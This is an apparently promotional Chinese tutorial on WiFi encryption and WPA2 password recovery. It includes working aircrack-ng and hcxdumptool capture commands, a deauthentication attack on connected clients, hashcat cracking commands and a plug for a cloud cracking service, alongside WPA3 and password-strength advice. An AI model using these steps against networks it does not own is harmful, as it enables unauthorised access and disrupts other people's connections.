家里换了路由器之后忘了 WiFi 密码,或者公司前任网管离职了没交接 WiFi 密码——这些场景比想象中更常见。这篇文章从技术角度讲解 WiFi 密码的加密原理和恢复方案,同时也会谈谈 WPA3 带来的安全改进。

WiFi 加密协议演进#

WiFi 安全协议时间线:

WEP (1997)      → 已被完全破解,几分钟即可恢复密钥
WPA (2003)      → TKIP 加密,存在已知漏洞
WPA2 (2004)     → AES-CCMP,目前主流,安全性较高
WPA3 (2018)     → SAE 握手,抗离线字典攻击

WPA2 的认证机制:四次握手#

WPA2 使用「四次握手」(4-Way Handshake)来验证客户端和路由器是否知道相同的密码:

WPA2 四次握手流程:

    路由器 (AP)                          客户端 (Client)
       │                                      │
       │  ── 1. ANonce (随机数) ──────────→   │
       │                                      │
       │  ←── 2. SNonce + MIC ─────────────   │
       │     (客户端的随机数 + 消息完整性校验)   │
       │                                      │
       │  ── 3. GTK + MIC ────────────────→   │
       │     (组密钥 + 确认)                    │
       │                                      │
       │  ←── 4. 确认 ─────────────────────   │
       │                                      │

关键点:
  - 密码本身不在网络上传输
  - 握手过程使用密码派生的 PMK (Pairwise Master Key) 来生成加密密钥
  - PMK = PBKDF2(密码, SSID, 4096, 256)
  - 攻击者可以捕获握手包,然后离线尝试猜测密码

为什么 WPA2 可以被离线恢复?#

WPA2 的安全模型:

PMK = PBKDF2(HMAC-SHA1, 密码, SSID, 4096, 256位)
       ↑                    ↑      ↑
       密码学哈希函数        WiFi名  迭代次数

PMK 是固定的(同一个密码 + 同一个 SSID = 同一个 PMK)
四次握手中的 Nonce 是随机的

攻击者的思路:
  1. 捕获一次完整的四次握手包
  2. 离线计算:对每个候选密码,计算 PMK,然后验证是否能生成正确的 MIC
  3. 如果 MIC 匹配 → 密码正确

这就是为什么只需要捕获一次握手包,就可以无限次地离线尝试密码

第一步:捕获握手包#

要恢复 WiFi 密码,首先需要捕获一次完整的四次握手。

使用 aircrack-ng 套件#

# 安装 aircrack-ng
# Ubuntu: sudo apt install aircrack-ng
# macOS: brew install aircrack-ng

# 1. 将无线网卡设为监控模式
sudo airmon-ng start wlan0
# 网卡变为 wlan0mon

# 2. 扫描附近的 WiFi 网络
sudo airodump-ng wlan0mon
# 记录目标网络的 BSSID(MAC 地址)和信道(CH)

# 3. 针对目标网络捕获握手包
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# -c 6: 信道 6
# --bssid: 目标路由器 MAC
# -w capture: 保存文件名前缀

# 4. (可选)发送去认证包,强制客户端重新连接以触发握手
sudo aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon
# -0 5: 发送 5 个去认证包
# 这会让已连接的客户端断开并重新连接,从而触发新的握手

# 5. 确认捕获到握手包
# airodump-ng 右上角会显示 "WPA handshake: AA:BB:CC:DD:EE:FF"

# 6. 恢复网卡为正常模式
sudo airmon-ng stop wlan0mon
捕获握手包的前提条件:

1. 需要支持监控模式的无线网卡
   不是所有网卡都支持!
   推荐:Alfa AWUS036ACH、TP-Link TL-WN722N(v1)

2. 需要有一次客户端连接
   如果当前没有设备连接到目标 WiFi
   需要等待有设备连接,或者发送去认证包强制重连

3. 必须在目标 WiFi 的信号范围内

使用 hcxtools(更现代的工具集)#

# 安装 hcxtools
# Ubuntu: sudo apt install hcxtools
# macOS: brew install hcxtools

# 1. 使用 hcxdumptool 捕获握手包(更好的实现)
sudo hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1

# 2. 将 pcapng 转换为 Hashcat 格式
hcxpcapngtool -o hash.hc22000 capture.pcapng

# hash.hc22000 就是 Hashcat 需要的输入文件

第二步:密码恢复#

Hashcat(首选方案)#

# WPA2 密码恢复
hashcat -m 22000 hash.hc22000 wordlist.txt

# 使用规则变异
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule

# 暴力枚举(如果字典未命中)
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
# 8 位纯数字暴力枚举
Hashcat 性能参考(RTX 4090):

WPA2 (PBKDF2-SHA1, 4096 次迭代): 约 600,000 次/秒

常见密码恢复时间估算:
  8 位纯数字:10^8 / 600000 ≈ 3 分钟
  8 位小写字母:26^8 / 600000 ≈ 3.5 小时
  10 位小写字母:26^10 / 600000 ≈ 240 天
  8 位字母+数字:62^8 / 600000 ≈ 360 天

WPA2 的 PBKDF2 迭代次数只有 4096 次(相比之下,Office 2013+ 用了 100,000 次),所以 GPU 加速的效果非常显著。

aircrack-ng(CPU 方案)#

# aircrack-ng 也支持字典攻击(但只用 CPU,速度慢得多)
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture.cap

# 性能参考(8 核 CPU):约 5,000-10,000 次/秒
# 比 GPU 慢约 60-100 倍

在线/云端方案#

如果本地没有强力 GPU,或者对命令行工具不熟悉,也可以考虑在线服务。

猫密网 支持 WPA/WPA2 握手包(.cap 文件)的密码恢复。你只需要用上述工具捕获握手包,然后上传 .cap 文件即可。

使用猫密网恢复 WiFi 密码的流程:

1. 用 aircrack-ng 或 hcxtools 捕获握手包(.cap / .hc22000)
2. 访问 catpasswd.com/recovery
3. 上传握手包文件(通常只有几 KB 到几 MB)
4. 等待恢复结果

优势:
  - 无需本地 GPU
  - 云端有更丰富的 WiFi 密码专用字典
  - WiFi 密码有一些常见模式(手机号、8位数字等),
    专业字典的命中率往往比通用字典高得多

WPA3:游戏规则的改变者#

2018 年发布的 WPA3 协议从根本上改变了 WiFi 密码恢复的游戏规则:

WPA2 的安全弱点:
  ✗ 握手包可以被捕获并离线分析
  ✗ 攻击者无需与路由器交互即可无限尝试密码
  ✗ PBKDF2 迭代次数低(4096 次),GPU 加速效果显著

WPA3 的安全改进:
  ✓ 使用 SAE (Simultaneous Authentication of Equals) 握手
  ✓ 每次认证都是独立的,无法离线重放
  ✓ 前向保密(Forward Secrecy):即使密码泄露,之前的通信也不会被解密
  ✓ 抗离线字典攻击:攻击者必须与路由器实时交互,每次尝试都有延迟
WPA3 SAE 握手 vs WPA2 四次握手:

WPA2:
  攻击者捕获一次握手 → 离线尝试无限次密码
  路由器不会感知到攻击

WPA3:
  每次密码尝试都需要与路由器进行一次完整的 SAE 交换
  路由器可以检测并限制尝试频率
  离线字典攻击基本不可行

如果你正在设置新的 WiFi 网络,强烈建议使用 WPA3。它从协议层面消除了离线密码恢复的可能性。

WiFi 密码恢复方案对比#

┌────────────────┬────────┬──────────┬────────────┬─────────────────┐
│ 方案            │ 成本   │ 技术门槛  │ 速度        │ 适用场景         │
├────────────────┼────────┼──────────┼────────────┼─────────────────┤
│ 路由器管理页面  │ 免费   │ 低       │ 即时        │ 记得路由器密码   │
│ 已连接设备查看  │ 免费   │ 低       │ 即时        │ 有设备已连接     │
│ Hashcat + GPU  │ 免费   │ 高       │ 极快        │ 技术人员         │
│ aircrack-ng    │ 免费   │ 高       │ 中等        │ 无 GPU 的技术人员│
│ 猫密网          │ 免费起  │ 中       │ 取决于队列  │ 无本地 GPU       │
│ 重置路由器      │ 免费   │ 低       │ 即时        │ 自己的路由器     │
└────────────────┴────────┴──────────┴────────────┴─────────────────┘

不用恢复密码的替代方案#

在动用手之前,先检查这些更简单的方法:

1. 路由器管理页面查看
   登录路由器管理界面(通常 192.168.1.1 或 192.168.0.1)
   在 WiFi 设置中可以看到或修改密码

2. Windows 已连接设备查看
   netsh wlan show profile name="WiFi名" key=clear
   # "关键内容" 一栏就是 WiFi 密码

3. macOS 已连接设备查看
   security find-generic-password -wa "WiFi名"
   # 或者在钥匙串访问中搜索 WiFi 名称

4. Android(需要 root)
   查看 /data/misc/wifi/WifiConfigStore.xml

5. iOS
   iOS 16+:设置 → Wi-Fi → 点击已连接的网络 → 点击密码即可查看

6. 直接重置路由器
   如果是自己的路由器,按住 Reset 键 10 秒恢复出厂设置
   然后重新设置 WiFi 密码
   代价:所有配置(端口映射、DNS 等)都会丢失

WiFi 安全建议#

1. 使用 WPA3(如果设备支持)
   WPA3 从根本上防止了离线密码恢复
   即使密码较弱,攻击者也无法离线破解

2. 密码设置建议
   至少 12 位
   避免纯数字(8 位数字密码 GPU 上 3 分钟即可恢复)
   避免手机号(容易被社工猜到)
   推荐使用密码短语:如 "CorrectHorseBatteryStaple"

3. 隐藏 SSID 没用
   隐藏 SSID 只是不在广播中显示名称
   数据包中仍然包含 SSID 信息
   不提供任何安全性

4. MAC 地址过滤没用
   MAC 地址可以被克隆
   抓包即可看到已授权设备的 MAC 地址
   然后克隆即可绕过

5. 开启访客网络
   访客使用独立的网络和密码
   主网络保持安全,访客网络可以定期更换密码

结语#

WPA2 的安全性依赖密码强度。在 PBKDF2 迭代次数只有 4096 的情况下,GPU 可以每秒尝试数十万次密码。一个 8 位纯数字的 WiFi 密码,在现代 GPU 面前只需要几分钟。

如果你现在还在使用 WPA2,至少确保密码是 12 位以上的混合字符组合。更好的选择是升级到 WPA3——它不仅保护了你的网络,也从根本上消除了离线密码恢复的可能性。

最后,如果你只是想找回自己的 WiFi 密码,最快的方式通常不是破解,而是登录路由器管理页面查看,或者在已经连接过的设备上查看已保存的密码。